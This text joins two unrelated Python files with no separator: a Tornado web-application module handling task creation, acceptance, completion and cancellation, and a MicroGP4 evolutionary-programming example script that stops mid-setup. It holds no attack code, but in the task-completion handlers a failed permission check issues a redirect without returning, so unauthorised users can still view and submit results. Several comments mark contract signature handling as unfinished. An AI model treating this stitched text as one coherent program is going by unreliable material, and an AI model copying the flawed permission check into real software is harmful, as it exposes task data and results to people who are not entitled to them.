"Tasknode: Task representation."

import copy
import json
import logging
from collections import OrderedDict

import tornado.web

from . import constants
from . import entity
from . import settings
from . import utils
from .requesthandler import RequestHandler, ApiV0Mixin

def _is_invalid(fields):
    "Is the task with the given fields invalid?"
    return bool([f for f in fields.values() if f and f.get('error')])

class TaskMixin:
    "General task methods; authorization checks."

    def is_editable(self, task):
        "Can the task contents be edited? Checks state and authorization."
        if task.state not in constants.EDITABLE_STATES: return False
        if self.is_owner(task): return True
        if self.is_admin(): return True
        return False

    def is_modifiable(self, task):
        "Can the task fields be modified?"
        if task.spec: return False
        return self.is_editable(task)

    def is_deletable(self, task):
        "Can the task be deleted? Checks state and authorization."
        if task.state not in constants.DELETABLE_STATES: return False
        if self.is_owner(task): return True
        if self.is_admin(): return True
        return False

    def is_submittable(self, task):
        "Can the task be submitted? Checks state and authorization."
        if task.state != constants.READY: return False
        if self.is_owner(task): return True
        if self.is_admin(): return True
        return False

    def is_acceptable(self, task):
        "Can the task be accepted? Checks state and authorization."
        if task.state != constants.SUBMITTED: return False
        if self.is_owner(task): return True
        if self.is_admin(): return True
        if task.candidate == constants.PUBLIC: return True
        if self.current_user and task.candidate == constants.KNOWN:
            return True
        return False

    def is_cancellable(self, task):
        "Can the task be cancelled? Checks state and authorization."
        if task.state not in (constants.SUBMITTED,
                              constants.EXECUTING): return False
        if self.is_owner(task): return True
        if self.is_admin(): return True
        return False

    def is_revokable(self, task):
        "Can the executing task be revoked? Checks state, expiry and authz."
        if task.state != constants.EXECUTING: return False
        try:
            if task.expiry > utils.timestamp(): return False
        except (KeyError, TypeError):
            pass
        if self.is_owner(task): return True
        if self.is_admin(): return True
        return False

    def is_completable(self, task, token=None):
        "Can the executing task be completed? Checks state and authorization."
        if task.state != constants.EXECUTING: return False
        if self.current_user:
            if task.worker == self.current_user.username: return True
        elif token:
            try:
                if task.worker.split(':')[1] == token: return True
            except IndexError:
                pass
        return False

class Task(TaskMixin, RequestHandler):
    "Display a task."

    def get(self, iuid):
        task = self.db.get_task(iuid)
        if not task:
            self.see_other('tasks', error='No such task.')
            return
        if not self.is_readable(task):
            self.see_other('tasks',
                           error='You are not allowed to read the task.')
            return
        self.render('task.html',
                    task=task,
                    is_editable=self.is_editable(task),
                    is_modifiable=self.is_modifiable(task),
                    is_deletable=self.is_deletable(task),
                    is_submittable=self.is_submittable(task),
                    is_acceptable=self.is_acceptable(task),
                    is_cancellable=self.is_cancellable(task),
                    is_revokable=self.is_revokable(task),
                    is_completable=self.is_completable(task))

    @tornado.web.authenticated
    def post(self, iuid):
        if self.get_argument('_http_method', '').lower() == 'delete':
            self.delete(iuid)
        else:
            raise tornado.web.HTTPError(405, reason='POST proxy for DELETE')

    @tornado.web.authenticated
    def delete(self, iuid):
        task = self.db.get_task(iuid)
        if not task:
            self.see_other('tasks', error='No such task.')
            return
        if not self.is_deletable(task):
            self.see_other('tasks', error='Task cannot be deleted.')
            return
        self.db.delete_task(task)
        self.see_other('tasks')

class TaskApiV0(ApiV0Mixin, TaskMixin, RequestHandler):
    "Task output, API v0."

    @tornado.web.authenticated
    def get(self, iuid):
        task = self.db.get_task(iuid)
        if not task:
            raise tornado.web.HTTPError(404)
        if not self.is_readable(task):
            raise tornado.web.HTTPError(403)
        self.output(task=task)

    def setup_output(self, **kwargs):
        task = kwargs['task']
        self['@id'] = self.absolute_reverse_url('task_api', task.iuid)
        self.jsonld.update(task.get_jsonld(self))

class TaskEdit(TaskMixin, RequestHandler):
    "Edit a task."

    @tornado.web.authenticated
    def get(self, iuid):
        task = self.db.get_task(iuid)
        if not task:
            self.see_other('tasks', error='No such task.')
            return
        if not self.is_editable(task):
            self.see_other('task', task.iuid, error='Task is not editable.')
            return
        self.render('task_edit.html', task=task)

    @tornado.web.authenticated
    def post(self, iuid):
        task = self.db.get_task(iuid)
        if not task:
            self.see_other('tasks', error='No such task.')
            return
        if not self.is_editable(task):
            self.see_other('task', task.iuid, error='Task is not editable.')
            return
        params = self.get_request_params(title='edit')
        with TaskSaver(self.db, self.current_user, task, params) as saver:
            saver.form_edit(self)
        self.see_other('task', saver.task.iuid)

class TaskModifyMixin(TaskMixin):
    "Mixin for task modification."

    def get_task(self, iuid):
        task = self.db.get_task(iuid)
        if not task:
            self.see_other('tasks', error='No such task.')
            return
        if not self.is_modifiable(task):
            self.see_other('task', task.iuid, error='Task is not modifiable.')
            return
        return task

class TaskModify(TaskModifyMixin, RequestHandler):
    "Modify the fields of an orphan task."

    @tornado.web.authenticated
    def get(self, iuid):
        task = self.get_task(iuid)
        if not task: return
        self.render('task_modify.html', task=task)

class TaskClone(TaskMixin, RequestHandler):
    "Clone a task."

    @tornado.web.authenticated
    def post(self, iuid):
        task = self.db.get_task(iuid)
        if not task:
            self.see_other('tasks', error='No such task.')
            return
        params = self.get_request_params(title='cloned', source=task.iuid)
        with TaskSaver(self.db, self.current_user, None, params) as saver:
            saver.task.title = 'Clone of ' + task.title
            saver.task.spec = task.spec
            saver.task.description = task.description
            saver.task.data = copy.deepcopy(task.data)
            saver.task.result = copy.deepcopy(task.result)
            for field in saver.task.result.values():
                field['value'] = None
            saver.task.access = task.access
            saver.task.candidate = task.candidate
            # XXX Signature etc must be removed.
            saver.task.contract = copy.deepcopy(task.get('contract'))
            saver.auto_ready()
        self.see_other('task', saver.task.iuid)

class TaskSubmit(TaskMixin, RequestHandler):
    "Submit the task."

    @tornado.web.authenticated
    def post(self, iuid):
        task = self.db.get_task(iuid)
        if not task:
            self.see_other('tasks', error='No such task.')
            return
        # Already submitted; no-op
        if task.state == constants.SUBMITTED:
            self.see_other('task', task.iuid)
            return
        if not self.is_submittable(task):
            self.see_other('task', task.iuid,
                           error='task cannot be submitted.')
            return
        try:
            params = self.get_request_params(title='submit')
            with TaskSaver(self.db, self.current_user, task, params) as saver:
                saver.set_state(constants.SUBMITTED)
        except ValueError as msg:
            self.see_other('task', task.iuid, error=msg)
        else:
            self.see_other('task', task.iuid)

class TasksSubmitted(RequestHandler):
    """Table of submitted tasks that user can accept,
    either logged-in or anonymous."""

    def get(self):
        self.render('tasks_submitted.html')

class TasksSubmittedApiV0(ApiV0Mixin, RequestHandler):
    """Table of submitted tasks that user can accept,
    either logged-in or anonymous, API v0."""

    def get(self):
        self.output()

    def setup_output(self, **kwargs):
        self['@id'] = self.absolute_reverse_url('tasks_submitted_api')
        result = []
        url = self.absolute_reverse_url
        for t in self.db.get_tasks_submitted(self.current_user):
            record = t.get_jsonld(self, full=False)
            record['accept'] = accept = OrderedDict()
            accept['display'] = OrderedDict([
                    ('href', url('task_accept', record['iuid']))])
            result.append(record)
        self['tasks'] = result

class TaskAccept(TaskMixin, RequestHandler):
    "Allow a manual worker to accept an submitted task."

    def get(self, iuid):
        task = self.db.get_task(iuid)
        if not task:
            self.see_other('tasks', error='No such task.')
            return
        if not self.is_acceptable(task):
            self.see_other('tasks_submitted', error='Task cannot be accepted.')
            return
        if not task.contract.get('expiry'):
            task.contract['expiry'] = settings['DEFAULT_DISPLAY_EXPIRY']
        self.render('task_accept.html',
                    task=task,
                    is_readable=self.is_readable(task))

    def post(self, iuid):
        task = self.db.get_task(iuid)
        if not task:
            self.see_other('tasks', error='No such task.')
            return
        if not self.is_acceptable(task):
            self.see_other('tasks_submitted', error='Task cannot be accepted.')
            return
        try:
            params = self.get_request_params(title='accept')
            with TaskSaver(self.db, self.current_user, task, params) as saver:
                saver.form_accept(self)
                saver.set_state(constants.EXECUTING)
        except ValueError as msg:
            self.see_other('task', task.iuid, error=msg)
        else:
            if saver.task.worker and saver.task.worker.startswith('token:'):
                token = saver.task.worker.split(':', 1)[1]
                self.see_other('task_complete', task.iuid, token=token)
            else:
                self.see_other('task_complete', task.iuid)

class TaskCancel(TaskMixin, RequestHandler):
    "Cancel a submitted or executing task."

    @tornado.web.authenticated
    def post(self, iuid):
        task = self.db.get_task(iuid)
        if not task:
            self.see_other('tasks', error='No such task.')
            return
        if not self.is_cancellable(task):
            self.see_other('task', task.iuid,
                           error='Task cannot be canceled.')
            return
        try:
            params = self.get_request_params(title='cancel')
            with TaskSaver(self.db, self.current_user, task, params) as saver:
                saver.task.report = report = OrderedDict()
                if task.worker and task.worker.startswith('token:'):
                    report['worker'] = '[anonymous]'
                else:
                    report['worker'] = task.worker
                report['expiry'] = task.expiry
                report['cancelled_by'] = self.current_user.username
                report['cancelled_at'] = utils.timestamp()
                saver.task.worker = None
                saver.task.expiry = None
                saver.set_state(constants.CANCELLED)
        except ValueError as msg:
            self.see_other('task', task.iuid, error=msg)
        else:
            self.see_other('task', task.iuid)

class TaskRevoke(TaskMixin, RequestHandler):
    "Revoke an executing task if the expiry has been reached."

    @tornado.web.authenticated
    def post(self, iuid):
        task = self.db.get_task(iuid)
        if not task:
            self.see_other('tasks', error='No such task.')
            return
        if not self.is_revokable(task):
            self.see_other('task', task.iuid,
                           error='Task cannot be revoked.')
            return
        try:
            params = self.get_request_params(title='revoke')
            with TaskSaver(self.db, self.current_user, task, params) as saver:
                saver.task.worker = None
                saver.task.expiry = None
                saver.task.report = dict()
                # XXX Signature etc must be removed from contract.
                saver.set_state(constants.SUBMITTED)
        except ValueError as msg:
            self.see_other('task', task.iuid, error=msg)
        else:
            self.see_other('task', task.iuid)

class TaskComplete(TaskMixin, RequestHandler):
    """The worker fills in the result and the report.
    The state is set only if the 'state' argument is present."""

    def get(self, iuid):
        task = self.db.get_task(iuid)
        if not task:
            self.see_other('tasks', error='No such task.')
            return
        token = self.get_argument('token', None)
        if not self.is_completable(task, token=token):
            self.see_other('tasks', error='You may not complete the task.')
        self.render('task_complete.html',
                    task=task,
                    is_invalid=_is_invalid(task.result),
                    anonymous=task.worker.startswith('token:'),
                    token=token)

    def post(self, iuid):
        task = self.db.get_task(iuid)
        if not task:
            self.see_other('tasks', error='No such task.')
            return
        token = self.get_argument('token', None)
        if not self.is_completable(task, token=token):
            self.see_other('tasks', error='You may not complete the task.')
        params = self.get_request_params(title='complete')
        with TaskSaver(self.db, self.current_user, task, params) as saver:
            saver.form_report(self)
        state = self.get_argument('state', None)
        if state == constants.COMPLETED:
            if not _is_invalid(saver.task.result):
                with TaskSaver(self.db, self.current_user,task,params) as saver:
                    saver.set_state(state)
        elif state == constants.FAILED:
            with TaskSaver(self.db, self.current_user, task, params) as saver:
                saver.set_state(state)
        self.see_other('task', task.iuid)

class TaskData(TaskModifyMixin, RequestHandler):
    "Modify or delete the named data field."

    def check_name(self, task, name):
        if name in task.data: return True
        self.see_other('task_modify',
                       task.iuid,
                       error='No such data field in task.')

    @tornado.web.authenticated
    def post(self, iuid, name):
        task = self.get_task(iuid)
        if not task: return
        if not self.check_name(task, name): return
        if self.get_argument('_http_method', '').lower() == 'delete':
            self.delete(iuid, name)
        else:
            params = self.get_request_params(title='modified data field')
            with TaskSaver(self.db, self.current_user, task, params) as saver:
                saver.form_modify_data(name, self)
            self.see_other('task_modify', task.iuid)

    @tornado.web.authenticated
    def delete(self, iuid, name):
        "Delete the named field."
        task = self.get_task(iuid)
        if not task: return
        if not self.check_name(task, name): return
        params = self.get_request_params(title='deleted data field')
        with TaskSaver(self.db, self.current_user, task, params) as saver:
            saver.remove_data(name)
        self.see_other('task_modify', task.iuid)

class TaskDataAdd(TaskModifyMixin, RequestHandler):
    "Add a field to the data of a task. Only if task is orphan."

    @tornado.web.authenticated
    def get(self, iuid):
        task = self.get_task(iuid)
        if not task: return
        self.render('task_data_add.html', task=task)

    @tornado.web.authenticated
    def post(self, iuid):
        task = self.get_task(iuid)
        if not task: return
        try:
            params = self.get_request_params(title='added data field')
            with TaskSaver(self.db, self.current_user, task, params) as saver:
                saver.form_add_data(self)
        except ValueError as msg:
            self.see_other('task_modify', saver.task.iuid, error=msg)
        else:
            self.see_other('task_modify', saver.task.iuid)

class TaskResult(TaskModifyMixin, RequestHandler):
    "Modify or delete the named result field."

    def check_name(self, task, name):
        if name in task.result: return True
        self.see_other('task_modify',
                       task.iuid,
                       error='No such result field in task.')

    @tornado.web.authenticated
    def post(self, iuid, name):
        task = self.get_task(iuid)
        if not task: return
        if not self.check_name(task, name): return
        if self.get_argument('_http_method', '').lower() == 'delete':
            self.delete(iuid, name)
        else:
            params = self.get_request_params(title='modified result field')
            with TaskSaver(self.db, self.current_user, task, params) as saver:
                saver.form_modify_result(name, self)
            self.see_other('task_modify', task.iuid)

    @tornado.web.authenticated
    def delete(self, iuid, name):
        "Delete the named field."
        task = self.get_task(iuid)
        if not task: return
        if not self.check_name(task, name): return
        params = self.get_request_params(title='deleted result field')
        with TaskSaver(self.db, self.current_user, task, params) as saver:
            saver.remove_result(name)
        self.see_other('task_modify', task.iuid)

class TaskResultAdd(TaskModifyMixin, RequestHandler):
    "Add a field to the result of a task. Only if task is orphan."

    @tornado.web.authenticated
    def get(self, iuid):
        task = self.get_task(iuid)
        if not task: return
        self.render('task_result_add.html', task=task)

    @tornado.web.authenticated
    def post(self, iuid):
        task = self.get_task(iuid)
        if not task: return
        try:
            params = self.get_request_params(title='added result field')
            with TaskSaver(self.db, self.current_user, task, params) as saver:
                saver.form_add_result(self)
        except ValueError as msg:
            self.see_other('task_modify', saver.task.iuid, error=msg)
        else:
            self.see_other('task_modify', saver.task.iuid)

class TaskSpec(RequestHandler):
    "Create a spec from a task."

    @tornado.web.authenticated
    def get(self, iuid):
        task = self.db.get_task(iuid)
        if not task:
            self.see_other('tasks', error='No such task.')
            return
        if not self.is_readable(task):
            self.see_other('tasks',
                           error='You are not allowed to read the task.')
            return
        paths = self.get_paths(self.current_user.username)
        self.render('task_spec.html', task=task, paths=paths)

    @tornado.web.authenticated
    def post(self, iuid):
        task = self.db.get_task(iuid)
        if not task:
            self.see_other('tasks', error='No such task.')
            return
        if not self.is_readable(task):
            self.see_other('tasks',
                           error='You are not allowed to read the task.')
            return
        try:
            try:
                path = self.get_argument('path')
            except tornado.web.MissingArgumentError:
                raise ValueError('No directory given for new spec.')
            dir = self.db.get_specdir(path)
            if dir is None:
                raise ValueError('No such spec directory.')
            if not self.is_owner(dir):
                raise ValueError('A spec can be added only to a directory you own.')
            try:
                name = self.get_argument('name')
            except tornado.web.MissingArgumentError:
                raise ValueError('No name given for new spec.')
            if not constants.NAME_RX.match(name):
                raise ValueError('Invalid name given for new spec.')
            title = self.get_argument('title', '') or None
            description = self.get_argument('description', '') or None
            spec = self.db.create_spec_from_task(self.current_user,
                                                 dir,
                                                 name,
                                                 task,
                                                 title,
                                                 description)
        except ValueError as msg:
            self.see_other('task', task.iuid, error=str(msg))
        else:
            self.see_other('spec', spec.path)

class TaskCreate(RequestHandler):
    "Create a task."

    @tornado.web.authenticated
    def get(self):
        specurl = self.get_argument('spec', None)
        if specurl:
            if utils.is_uri(specurl): # Remote spec
                raise NotImplementedError
            else:                     # Local spec
                spec = self.db.get_spec(specurl)
                if spec:
                    spec.path = '/' + spec.path
        else:
            spec = None
        self.render('task_create.html', spec=spec or {})

    @tornado.web.authenticated
    def post(self):
        params = self.get_request_params(title='created')
        with TaskSaver(self.db, self.current_user, None, params) as saver:
            saver.form_create(self)
        self.see_other('task', saver.task.iuid)

class Tasks(RequestHandler):
    "Table of all tasks."

    def get(self):
        self.render('tasks.html', params=dict())

class TasksApiV0(ApiV0Mixin, RequestHandler):
    "All tasks, API v0."

    def get(self):
        self.output()

    def setup_output(self, **kwargs):
        self['@id'] = self.absolute_reverse_url('tasks_api')
        self['tasks'] = [t.get_jsonld(self, full=False)
                         for t in self.db.get_tasks(self.current_user)]

class TaskLog(TaskMixin, RequestHandler):
    "Display task log."

    @tornado.web.authenticated
    def get(self, iuid):
        task = self.db.get_task(iuid)
        if not task:
            self.see_other('tasks', error='No such task.')
            return
        if not self.is_readable(task):
            self.see_other('tasks', error='Task is not readable.')
            return
        self.render('task_log.html',
                    task=task,
                    log=self.db.get_task_log(task.iuid))

class TaskLogApiV0(TaskApiV0):
    "Task log records output, API v0."

    def setup_output(self, **kwargs):
        task = kwargs['task']
        self['@id'] = self.absolute_reverse_url('task_log_api', task.iuid)
        self.jsonld['log'] = self.db.get_task_log(task.iuid)

class TaskSaver:
    "Context manager for saving a task."

    def __init__(self, db, account, task, params):
        assert db, 'database is required'
        assert account or task, 'account or task is required'
        self.db = db
        self.account = account
        self.params = params
        self.created = False
        self.updated = False
        self.modified = False
        self.reported = False
        if task is None:
            self.task = entity.Task(iuid=utils.get_iuid(),
                                    state=constants.PREPARING,
                                    description=None,
                                    access=constants.PRIVATE,
                                    candidate=constants.PRIVATE,
                                    contract=OrderedDict(),
                                    report=OrderedDict(),
                                    data=OrderedDict(),
                                    result=OrderedDict(),
                                    owner=self.account.username)
            self.task.title = self.task.iuid[:6] + '...'
            self.created = True
        else:
            self.task = copy.deepcopy(task)

    def __enter__(self):
        return self

    def __exit__(self, type, value, tb):
        if type is not None: return False # No exceptions handled here.
        if self.created:
            self.db.create_task(self.task, self.params)
        elif self.updated:
            self.db.update_task(self.task, self.params)
        elif self.modified:
            self.db.modify_task(self.task, self.params)
        elif self.reported:
            self.db.report_task(self.task, self.params)
        else:
            self.db.edit_task(self.task, self.params)

    def set_state(self, state):
        "Set the state of the task, and mark as updated."
        self.task.state = state
        self.updated = True

    def auto_ready(self):
        "Set state to 'ready' or 'preparing' according to data value errors."
        assert self.task.state in constants.EDITABLE_STATES
        if _is_invalid(self.task.data):
            self.task.state = constants.PREPARING
        else:
            self.task.state = constants.READY

    def form_create(self, rqh):
        "Process the values from the web form input for task creation."
        self.task.title = rqh.get_argument('title', '') or self.task.title
        self.task.description = rqh.get_argument('description', '') or None
        specurl = rqh.get_argument('spec', None) or None
        if specurl:
            if utils.is_uri(specurl): # Remote spec
                raise NotImplementedError
            else:                      # Local spec
                spec = self.db.get_spec(specurl)
                if not spec:
                    raise ValueError("No such spec '%s'" % specurl)
                self.task.spec = spec.path.strip('/')
                self.task.data = copy.deepcopy(spec.data)
                for field in self.task.data.values():
                    self.check_convert(field, field['value'])
                self.task.result = copy.deepcopy(spec.result)
                for field in self.task.result.values():
                    self.check_convert(field, field.get('value'))
        self.auto_ready()

    def form_edit(self, rqh):
        "Process the values from the web form input for edit."
        try:
            title = rqh.get_argument('title')
        except tornado.web.MissingArgumentError:
            pass
        else:
            if not title:
                title = self.task.iuid[:6] + '...'
            self.task.title = title
        try:
            self.task.description = rqh.get_argument('description')
        except tornado.web.MissingArgumentError:
            pass
        try:
            access = rqh.get_argument('access')
        except tornado.web.MissingArgumentError:
            pass
        else:
            if not access in constants.ACCESS_LIST:
                raise ValueError('invalid access value')
            self.task.access = access
        try:
            candidate = rqh.get_argument('candidate')
        except tornado.web.MissingArgumentError:
            pass
        else:
            if not candidate in constants.CANDIDATE_LIST:
                raise ValueError('invalid candidate value')
            self.task.candidate = candidate
        for name, field in self.task.data.items():
            self.check_convert(field, rqh.get_argument("data_%s" % name, None))
        self.auto_ready()

    def check_convert(self, field, value):
        "Set the value of the field, type-converted, after validity check."
        error = None
        if value is None:
            pass
        elif field['type'] == constants.STRING:
            if not value:         # Empty string
                value = None
        elif field['type'] == constants.INTEGER:
            try:
                value = int(value)
            except (ValueError, TypeError) as msg:
                error = 'invalid int'
        elif field['type'] == constants.NUMBER:
            try:
                value = float(value)
            except (ValueError, TypeError) as msg:
                error = 'invalid number'
        elif field['type'] == constants.BOOLEAN:
            try:
                value = utils.to_bool(value)
            except (ValueError, TypeError) as msg:
                error = 'invalid boolean'
        elif field['type'] == constants.URI:
            if not utils.is_uri(value):
                error = 'invalid URI'
        elif field['type'] == constants.JSON:
            try:
                value = json.loads(value)
            except (ValueError, TypeError) as msg:
                error = "invalid JSON: %s" % msg
        else:
            raise NotImplementedError("unknown type %s" % field['type'])
        if value is None and field.get('required'):
            error = 'value missing'
        field['value'] = value
        field['error'] = error

    def form_add_data(self, rqh):
        "Add a data field from form input."
        assert not self.task.spec, 'Task must be orphan.'
        name = rqh.get_argument('name', None)
        if not name:
            raise ValueError('No name for new field.')
        if not constants.NAME_RX.match(name):
            raise ValueError('Invalid name for new field.')
        if name in self.task.data:
            raise ValueError('Name already in task data.')
        field = dict(
            name=name,
            type=rqh.get_argument('type', constants.STRING),
            required = utils.to_bool(rqh.get_argument('required', False)),
            description=rqh.get_argument('description', None))
        self.check_convert(field, None)
        self.task.data[name] = field
        self.auto_ready()
        self.modified = True

    def form_modify_data(self, name, rqh):
        "Modify a data field from form input."
        fields = list(self.task.data.values())
        for pos, field in enumerate(fields):
            if field['name'] == name: break
        else:
            raise ValueError("No such data field '%s'." % name)
        try:
            where = rqh.get_argument('move').lower()
        except tornado.web.MissingArgumentError:
            pass
        else:
            if where == 'up':
                fields.pop(pos)
                if pos == 0:
                    fields.append(field)
                else:
                    fields[pos-1:pos-1] = (field,)
            elif where == 'down':
                fields.pop(pos)
                if pos >= len(fields):
                    fields = [field] + fields
                else:
                    fields[pos+1:pos+1] = (field,)
            self.task.data = OrderedDict([(f['name'], f) for f in fields])
        field['required'] = utils.to_bool(rqh.get_argument('required', False))
        field['description'] = rqh.get_argument('description', None)
        self.check_convert(field, field.get('value'))
        self.auto_ready()
        self.modified = True

    def remove_data(self, name):
        "Remove a data field."
        assert not self.task.spec, 'Task must be orphan.'
        self.task.data[name] = None
        self.auto_ready()
        self.modified = True

    def form_add_result(self, rqh):
        "Add a result field from form input."
        assert not self.task.spec, 'Task must be orphan.'
        name = rqh.get_argument('name', None)
        if not name:
            raise ValueError('No name for new field.')
        if not constants.NAME_RX.match(name):
            raise ValueError('Invalid name for new field.')
        if name in self.task.result:
            raise ValueError('Name already in task result.')
        field = dict(
            name=name,
            type=rqh.get_argument('type', constants.STRING),
            required = utils.to_bool(rqh.get_argument('required', False)),
            description=rqh.get_argument('description', None))
        self.check_convert(field, None)
        self.task.result[name] = field
        self.modified = True

    def form_modify_result(self, name, rqh):
        "Modify a result field from form input."
        assert not self.task.spec, 'Task must be orphan.'
        fields = list(self.task.result.values())
        for pos, field in enumerate(fields):
            if field['name'] == name: break
        else:
            raise ValueError("No such result field '%s'." % name)
        try:
            where = rqh.get_argument('move').lower()
        except tornado.web.MissingArgumentError:
            pass
        else:
            if where == 'up':
                fields.pop(pos)
                if pos == 0:
                    fields.append(field)
                else:
                    fields[pos-1:pos-1] = (field,)
            elif where == 'down':
                fields.pop(pos)
                if pos >= len(fields):
                    fields = [field] + fields
                else:
                    fields[pos+1:pos+1] = (field,)
            self.task.result = OrderedDict([(f['name'], f) for f in fields])
        field['required'] = utils.to_bool(rqh.get_argument('required', False))
        field['description'] = rqh.get_argument('description', None)
        self.check_convert(field, field.get('value'))
        self.modified = True

    def remove_result(self, name):
        "Remove a result field."
        assert not self.task.spec, 'Task must be orphan.'
        self.task.result[name] = None
        self.modified = True

    def form_accept(self, rqh):
        "The task is accepted by the current user. Get contract date, if any."
        try:
            expiry = self.task.contract['expiry']
            if not expiry: raise KeyError
        except KeyError:
            expiry = settings['DEFAULT_DISPLAY_EXPIRY']
        kwargs = {expiry['unit']: expiry['value']}
        self.task.expiry = utils.timestamp(**kwargs)
        if self.account:
            self.task.worker = self.account.username
        else:
            self.task.worker = 'token:' + utils.get_iuid()
        contract = copy.deepcopy(self.task.contract)
        # XXX Set values in contract, if any.
        self.task.contract = contract

    def form_report(self, rqh):
        "Process the values from the web form input for report."
        for name, field in self.task.result.items():
            self.check_convert(field, rqh.get_argument("result_%s" % name,None))
        self.task.report['message'] = rqh.get_argument('report')
        if self.task.worker.startswith('token:'):
            self.task.report['worker'] = '?'
        else:
            self.task.report['worker'] = self.task.worker
        self.task.report['remote_ip'] = rqh.request.remote_ip
        try:
            self.task.report['user_agent'] = rqh.request.headers['User-Agent']
        except KeyError:
            pass
        self.reported = True


# -*- coding: utf-8 -*-
#############################################################################
#          __________                                                       #
#   __  __/ ____/ __ \__ __   This file is part of MicroGP4 v1.0 "Kiwi"     #
#  / / / / / __/ /_/ / // /   (!) by Giovanni Squillero and Alberto Tonda   #
# / /_/ / /_/ / ____/ // /_   https://github.com/squillero/microgp4         #
# \__  /\____/_/   /__  __/                                                 #
#   /_/ --MicroGP4-- /_/      "You don't need a big goal, be μ-ambitious!!" #
#                                                                           #
#############################################################################

# Copyright 2020 Giovanni Squillero and Alberto Tonda
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may not
# use this file except in compliance with the License.
# You may obtain a copy of the License at:
#
#     http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
#
# See the License for the specific language governing permissions and
# limitations under the License.

import sys
import argparse

import microgp as ugp4

from microgp.utils import logging

if __name__ == "__main__":
    ugp4.show_banner()

    # Set the arguments parser _________________________________________________________________________________________
    parser = argparse.ArgumentParser()
    parser.add_argument("-v", "--verbose", action="count", default=0, help="increase log verbosity")
    parser.add_argument("-d",
                        "--debug",
                        action="store_const",
                        dest="verbose",
                        const=2,
                        help="log debug messages (same as -vv)")
    args = parser.parse_args()

    if args.verbose == 0:
        ugp4.logging.DefaultLogger.setLevel(level=ugp4.logging.INFO)
    elif args.verbose == 1:
        ugp4.logging.DefaultLogger.setLevel(level=ugp4.logging.VERBOSE)
    elif args.verbose > 1:
        ugp4.logging.DefaultLogger.setLevel(level=ugp4.logging.DEBUG)
        ugp4.logging.debug("Verbose level set to DEBUG")

    ugp4.logging.log_cpu(ugp4.logging.INFO, "Program started")

    # Define parameters ________________________________________________________________________________________________
    registers = ugp4.make_parameter(ugp4.parameter.Categorical, alternatives=['ax', 'bx', 'cx', 'dx'])
    # cat_sor = ugp4.make_parameter(ugp4.parameter.CategoricalSorted,
    #                              alternatives=['e', 'f', 'g', 'h', 'i', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't'])
    int256 = ugp4.make_parameter(ugp4.parameter.Integer, min=0, max=256)
    # word8 = ugp4.make_parameter(ugp4.parameter.Bitstring, len_=8)
    ref_fwd = ugp4.make_parameter(ugp4.parameter.LocalReference,
                                  allow_self=False,
                                  allow_forward=True,
                                  allow_backward=False,
                                  frames_up=1)
    ref_bcw = ugp4.make_parameter(ugp4.parameter.LocalReference,
                                  allow_self=False,
                                  allow_forward=False,
                                  allow_backward=True,
                                  frames_up=1)

    # Define macros ____________________________________________________________________________________________________
    epilogue = ugp4.Macro("; That's all folks")
    add = ugp4.Macro("    add {reg}, 0{num:x}h  \t; ie. {reg} += {num}", {'reg': registers, 'num': int256})
    # add = ugp4.Macro("    add {reg}, {num}b  \t; ie. {reg} += {num}", {'reg': cat_sor, 'num': bitstring8})
    sub = ugp4.Macro("    sub {reg}, 0{num:x}h  \t; ie. {reg} -= {num}", {'reg': registers, 'num': int256})
    # sub = ugp4.Macro("    sub {reg}, {num}b  \t; ie. {reg} -= {num}", {'reg': cat_sor, 'num': bitstring8})
    jmp1 = ugp4.Macro("    jmp {jmp_ref} \t\t; jump forward", {'jmp_ref': ref_fwd})
    jmp2 = ugp4.Macro("    jmp {jmp_ref} \t\t; jump backward", {'jmp_ref': ref_bcw})

    # That's the library

    # Assigning to the library calls `make_section` to all elements, in more details:
    # a sequence of sections is transformed in a SubsectionsSequence
    # a set of sections, in a SubsectionsAlternative
    # a set of macros, in a MacroPool
    # a macro, in a MacroPool containing only the very same macro
    # a string, in a parameter-less macro -- ie. string -> macro -> macro pool
    # make_section can still be useful to tweak the number of macros eg. size=(min, max)
    # or to customize the label format eg. label_format="[label_{node}]\n"

    # Define sections __________________________________________________________________________________________________
    sec2a = ugp4.make_section({add}, size=(2, 5), name='sec2a', instances=(0, 1))
    sec2b = ugp4.make_section({sub}, size=(4, 10), name='sec2b', instances=(0, 1))
    sec_jmp = ugp4.make_section({jmp1, jmp2}, size=(5, 5), name='sec_jmp')
    # sec2a = ugp4.make_section({add}, size=(1, 3), name='sec2a', instances=(0, 1))
    # sec2b = ugp4.make_section({sub}, size=(2, 3), name='sec2b', instances=(0, 1))
    # sec_jmp = ugp4.make_section({jmp1, jmp2}, size=(2, 3), name='sec_jmp')

    # Note the wickedness: there can be ONLY ONE sec2a and ONE sec2b, but the library specifies
    # { sec2a OR sec2b } THEN sec_jmp THEN { sec2a OR sec2b }
    # ... we are going to create quite a number of illegal individuals :-)

    # Set the created sections in the special section ('main') _________________________________________________________
    library = ugp4.Constraints()
    library['main'] = [
        "; Prologue\n; Created on: {info:now} by {info}",
        [{sec2a, sec2b}, sec_jmp, {sec2a, sec2b}],  # framing is useful: sec_jmp references specify frames_up=1
        "; That's all folks"
    ]
    # Create a new checker function ____________________________________________________________________________________
    library.global_properties.add_checker(lambda **v: True)

    if sys.platform != "win32":
        script = "./evaluator.sh"
    else:
        script = "evaluator.bat"
    library.evaluator = ugp4.fitness.make_evaluator(evaluator=script, fitness_type=ugp4.fitness.Lexicographic)

    # let's get weird
    # also note that there is only a limited number of instances that can be ==
    # sec2a.properties.add_cumulative_builder(lambda num_nodes, **v: {'sec2a': num_nodes})
    # sec2b.properties.add_cumulative_builder(lambda **v: {'sec2b': v['num_nodes']})
    # library.global_properties.add_check(lambda sec2a, sec2b, **v: sec2a == sec2b)

    # Create a list of operators with their arities_____________________________________________________________________
    operators = ugp4.Operators()

    # Add initialization operators
    init_op1 = ugp4.GenOperator(ugp4.create_random_individual, 0)
    operators += init_op1

    # Add mutation operators
    mutation_op1 = ugp4.GenOperator(ugp4.remove_node_mutation, 1)
    mutation_op2 = ugp4.GenOperator(ugp4.add_node_mutation, 1)
    mutation_op3 = ugp4.GenOperator(ugp4.flat_mutation, 1)
    mutation_op4 = ugp4.GenOperator(ugp4.hierarchical_mutation, 1)
    operators += mutation_op1
    operators += mutation_op2
    operators += mutation_op3
    operators += mutation_op4

    # Add crossover operators
